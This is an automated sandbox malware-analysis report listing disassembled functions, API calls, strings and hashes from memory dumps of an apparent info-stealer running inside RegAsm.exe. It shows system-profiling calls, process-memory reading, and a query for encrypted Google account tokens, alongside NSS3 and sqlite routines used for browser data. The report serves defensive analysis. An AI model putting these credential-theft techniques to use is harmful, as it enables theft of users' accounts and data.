Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction ID: c2652f7c91e1ef5edc9e2e1e9b8a32b02dad70e76bfe1aa60437c31099f645d5
Opcode Fuzzy Hash: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction Fuzzy Hash: 75112C75600218BFD704EF68D855BEE7F64AF10309F44009FE416972E2DB38DA85C748

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: b27d7dd64cfe0a637a361d43d9ca9a290f2284dc2a72474dda508b1b2504b9a3
Instruction ID: 170008d2b248a6dac6df5cacbd3238be6a4bc1abd9d224a85ffebcf6f0d8f3fd
Opcode Fuzzy Hash: b27d7dd64cfe0a637a361d43d9ca9a290f2284dc2a72474dda508b1b2504b9a3
Instruction Fuzzy Hash: 59F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005451F605D2160E6B75E4087A0

Function 6C26CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C26CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C26CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C26D079

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: a7f1ac156e56f016017a72d7a5dadf8bba367209eaa67b16c3a5145087e66f85
Instruction ID: b118e7ebca235e621baf85131edbbb5d9cfac34f9be7a54739ff221951e0f789
Opcode Fuzzy Hash: a7f1ac156e56f016017a72d7a5dadf8bba367209eaa67b16c3a5145087e66f85
Instruction Fuzzy Hash: DDC17FB5A0021D9BDB20DF15CC80BDAB7B4BB48318F1441A9ED4897B41E775AAD5CFA0

Function 6C222C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(CDCDBC19), ref: 6C222C5D

Part of subcall function 6C280D30: calloc.MOZGLUE ref: 6C280D50
Part of subcall function 6C280D30: TlsGetValue.KERNEL32 ref: 6C280D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C222C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C222CE0

Part of subcall function 6C222E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C222CDA,?,00000000), ref: 6C222E1E
Part of subcall function 6C222E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C222E33
Part of subcall function 6C222E00: TlsGetValue.KERNEL32 ref: 6C222E4E
Part of subcall function 6C222E00: EnterCriticalSection.KERNEL32(?), ref: 6C222E5E
Part of subcall function 6C222E00: PL_HashTableLookup.NSS3(?), ref: 6C222E71
Part of subcall function 6C222E00: PL_HashTableRemove.NSS3(?), ref: 6C222E84
Part of subcall function 6C222E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C222E96
Part of subcall function 6C222E00: PR_Unlock.NSS3 ref: 6C222EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C222D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C222D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C222D3F
free.MOZGLUE(00000000), ref: 6C222D73
CERT_DestroyCertificate.NSS3(?), ref: 6C222DB8
free.MOZGLUE ref: 6C222DC8

Part of subcall function 6C223E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C223EC2
Part of subcall function 6C223E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C223ED6
Part of subcall function 6C223E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C223EEE
Part of subcall function 6C223E60: PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C223F02
Part of subcall function 6C223E60: PL_FreeArenaPool.NSS3 ref: 6C223F14
Part of subcall function 6C223E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C223F27

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 7665b8a302117c8cb5c91d7e6de8224304c12c5f5fd592c16e5a1ac0027506c4
Instruction ID: 14ab4c7ba7ecb505ba3fad0c80b4ef4e8b91718515b28f30234a113aadde8053
Opcode Fuzzy Hash: 7665b8a302117c8cb5c91d7e6de8224304c12c5f5fd592c16e5a1ac0027506c4
Instruction Fuzzy Hash: 335111B5A1431A9BEB11DE24CC88B5B77E5EF84329F14043CFC4993610EB36E814CB92

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6C2F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2F2FFD
sqlite3_initialize.NSS3 ref: 6C2F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C2F3032
sqlite3_mprintf.NSS3(6C35AAF9,?), ref: 6C2F3073
sqlite3_free.NSS3(?), ref: 6C2F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C2F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C2F30BB

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 3a8dc1b2273ef07360059d8913fddd946141b8865a6b219b51274d1c15238bd7
Instruction ID: f60557f5682e3f79e67e397524e6efc8d7e1812235783a345aff9f3b2f3c7eca
Opcode Fuzzy Hash: 3a8dc1b2273ef07360059d8913fddd946141b8865a6b219b51274d1c15238bd7
Instruction Fuzzy Hash: FA41C27564060EABDB00CF25D840A86F7A5FF44359F148629EC6987B40EB31F956CBD1

Function 6C238CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C24124D,00000001), ref: 6C238D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C24124D,00000001), ref: 6C238D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C24124D,00000001), ref: 6C238D73
PR_Unlock.NSS3(?,?,?,?,?,6C24124D,00000001), ref: 6C238D8C

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C24124D,00000001), ref: 6C238DBA

Strings

KRAM, xrefs: 6C238CF9
KRAM, xrefs: 6C238D3E

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6e83eb4c77697cf283c8551dc5a7ad0fe464a399bbb360a44d46716f7b58ae0d
Instruction ID: 554106d4bfdd4e06ef5b3b1d1b99c7aad389e120f51da28201e81b902f461839
Opcode Fuzzy Hash: 6e83eb4c77697cf283c8551dc5a7ad0fe464a399bbb360a44d46716f7b58ae0d
Instruction Fuzzy Hash: 70217CB9A046298FCB01AF38C48465AB7F4FF45308F15996AED9CCB705DB34D842CB91

Function 6C330ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C330EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C330EFA

Part of subcall function 6C21AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C21AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F2B

Strings

Aborting, xrefs: 6C330EB3
Assertion failure: %s, at %s:%d, xrefs: 6C330ED9, 6C330EE5, 6C330F06, 6C330F0B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 1f256f07d4bc852185c294efc7f825f191bd977d89a567206880dda20f5edb76
Instruction ID: 63d8ff57aaae148a2165c57bdaef8db2de4d7281891d09357fb0eb7326726038
Opcode Fuzzy Hash: 1f256f07d4bc852185c294efc7f825f191bd977d89a567206880dda20f5edb76
Instruction Fuzzy Hash: 8F0180B5900164ABDF01AF64EC8589B3F7DEF47668B004064FD0987B11D636E9549BA2

Function 6C2F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C2F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C2F4DE0

Strings

invalid, xrefs: 6C2F4DB8
misuse, xrefs: 6C2F4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C2F4DCB
API call with %s database connection pointer, xrefs: 6C2F4DBD
%s at line %d of [%.10s], xrefs: 6C2F4DDA

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 33e0641cc9c6799346a1e9a03a5335ccf368ba184e983db8c8f0234d130b7969
Instruction ID: 290a8b22cacb5c3f7a6cd3b36e83a1f673c8ae671e225978d8c52758f340e896
Opcode Fuzzy Hash: 33e0641cc9c6799346a1e9a03a5335ccf368ba184e983db8c8f0234d130b7969
Instruction Fuzzy Hash: A3F05919E5462D2BD7008015CE30F8273554F0231AF8709A1FD147BE53D64EA8A182E0

Function 6C2F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C2F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C2F4E4D

Strings

invalid, xrefs: 6C2F4E25
misuse, xrefs: 6C2F4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C2F4E38
API call with %s database connection pointer, xrefs: 6C2F4E2A
%s at line %d of [%.10s], xrefs: 6C2F4E47

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: e3623098aa8f66d4e603e238ce41438562200416efd2927c794c0bc22b2158eb
Instruction ID: 25ec4cfcc41f98e523fc5bb29805d6dc12dbf28cf9e90abc811d594c98b344c3
Opcode Fuzzy Hash: e3623098aa8f66d4e603e238ce41438562200416efd2927c794c0bc22b2158eb
Instruction Fuzzy Hash: E4F02751FC4A2D2BFB1450259E20F8377854B0232BF8A85A1FE2877E92D64DA87242E1

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Strings

GoogleAccounts, xrefs: 00409A8E
AccountId, xrefs: 00409BC9
GoogleAccounts, xrefs: 00409A37
SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: 23a8635a48a7421f52fb52e76b1e4f954d6a09d0e6bce8243b1f57598da2cf87
Instruction ID: bcd8a3c27cc20b2b0202687c0b5b9a5b34e989406908c304105e5c1fc2b99bb7
Opcode Fuzzy Hash: 23a8635a48a7421f52fb52e76b1e4f954d6a09d0e6bce8243b1f57598da2cf87
Instruction Fuzzy Hash: 45815171E40109ABCF01FFA5DE469DD77B5AF04309F511026F900B71E2DBB8AE898B99

Function 6C260C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C261444,?,00000001,?,00000000,00000000,?,?,6C261444,?,?,00000000,?,?), ref: 6C260CB3

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?,?,6C261444,?), ref: 6C260DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?,?,6C261444,?), ref: 6C260DEC

Part of subcall function 6C280F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C222AF5,?,?,?,?,?,6C220A1B,00000000), ref: 6C280F1A
Part of subcall function 6C280F10: malloc.MOZGLUE(00000001), ref: 6C280F30
Part of subcall function 6C280F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C280F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?), ref: 6C260DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C261444,?,00000001,?,00000000), ref: 6C260E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?), ref: 6C260E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?,?,6C261444,?,?,00000000), ref: 6C260E65
